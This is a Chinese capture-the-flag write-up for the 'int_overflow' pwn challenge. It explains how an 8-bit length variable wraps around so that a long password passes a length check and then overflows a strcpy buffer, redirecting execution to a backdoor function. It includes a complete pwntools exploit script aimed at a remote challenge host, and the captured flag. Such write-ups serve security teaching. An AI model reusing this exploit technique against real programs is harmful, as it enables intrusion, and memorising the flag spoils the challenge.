【攻防世界】int_overflow
收获
原输入的栈无法溢出,通过
strcpy
复制操作进行溢出注意参数的类型,例如
unsigned __int8 v3
,v3 = strlen(s)
,v3
是一个 8 位 int 型 数据,即使s
的长度为 0x104,v3
也只能为 0x04(1字节 只能存放 2位 十六进制数)通过
payload.ljust(0x104, b'a')
可以直接往 payload 后面添加 b’a’ 一直填充至指定长度 0x104ljust()
的l
是让 payload 左对齐,往右侧添加字符,一直将原字符串填充到指定长度,而不是填充多少个字符
思路
查看文件信息:
32 位 小端序,只开启了栈不可执行
尝试执行:
在 IDA 中分析:
跟进 login()
:
有两个输入,查看数据 s
和 buf
在栈中的位置:
s
在栈中的长度为 0x28
,而输入的 s
长度为 0x19
;buf
在栈中的长度为 0x200
,而输入的 buf
长度为 0x199
因此无法通过输入来进行溢出操作
跟进函数 check_passwd(buf)
:
首先控制了 v3
长度要在 4 ~ 8
之间,然后将 形参 s
(其实就是 login()
中的 buf
)中存放的内容复制到 dest
中:
注意:这里的 v3 = strlen(s)
得到的并不是 形参s
的长度,因为 v3
的定义为 unsigned __int8 v3
,即 v3
是一个无符号的 8 位 int 型数据,也就是 1 字节,只能存放两位十六进制数
即:当 buf 的长度为 261(0x105) 时,v3 == 0x05
在 IDA 左侧函数列表中,注意到一个后门函数:
肯定是需要修改函数返回值转而执行这个 what_is_this()
函数
发现在函数 check_passwd(buf)
中进行 strcpy(dest, s)
的复制操作时,虽然之前输入时 buf
无法进行溢出操作,但是通过 strcpy()
复制,可以利用 buf
将 dest
溢出,然后覆盖掉 dest
所在的栈中的返回值,这样就可以实现跳转了
但是想要执行复制操作,就必须先满足 v3 > 3u && v3 <= 8u
的条件,即 v3
可以取值的范围是 4~8
,也就是 0x04~0x08
结合 v3 = strlen(s)
且输入的 buf
长度为 0x199
可以得出满足条件的 buf
的长度应该为:0x104~0x108
于是思路就很清晰了:
- 首先输入
"1"
选择登录 - 由于
login()
中的s
没有溢出点,在长度为0x28
以内随便输入即可 - 由于
login()
中的buf
在原本的栈中无法溢出,但是buf
的值会复制到dest
中,dest
是可以溢出的。根据dest
所在的栈,要覆盖返回值需要先填充0x14 - 0x00 + 0x04
个垃圾数据,然后加上what_is_this()
函数的地址,函数的地址可以通过elf.symbols["what_is_this"]
获得 - 这样就保证了当
buf
的值复制到dest
后,会转而执行后门函数what_is_this()
- 但是,想要让复制操作执行,首先需要通过前面的
if ( v3 <= 3u || v3 > 8u )
语句,即:让v3 = strlen(s)
的长度保持在0x04~0x08
,也就是buf
的长度要保持在0x104~0x108
- 因此,除去前面为
buf
构造payload
所用的b'a' * (0x14 - 0x00 + 0x04) + p32(elf.symbols["what_is_this"])
以外,还要在后面继续填充垃圾字符,让buf
的长度在0x104~0x108
之间 - 通过
payload.ljust(0x104, b'a')
即可实现在payload
右边添加b'a'
一直将payload
的长度填充至0x104
脚本
from pwn import *
context(os='linux', arch='i386', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
elf = ELF("./int_overflow")
system_addr = elf.symbols["what_is_this"]
def main():
if content == 1:
io = process("./int_overflow") # 程序在kali的路径
else:
io = remote("61.147.171.105", 56322) # 题目的远程端口
payload = b'a' * (0x14 - 0x00 + 0x04) + p32(system_addr) # 溢出dest,使其跳转至what_is_this函数
payload = payload.ljust(0x104, b'a') # 原payload左对齐,往payload右侧填充b'a',一直填充到payload的长度为0x104
io.recvuntil("Your choice:")
io.sendline("1")
io.recvuntil("Please input your username:\n")
io.sendline("999")
io.recvuntil("Please input your passwd:\n")
io.sendline(payload)
io.interactive()
main()
结果
cyberpeace{25686bc91ab84046b5a18aaa66041868}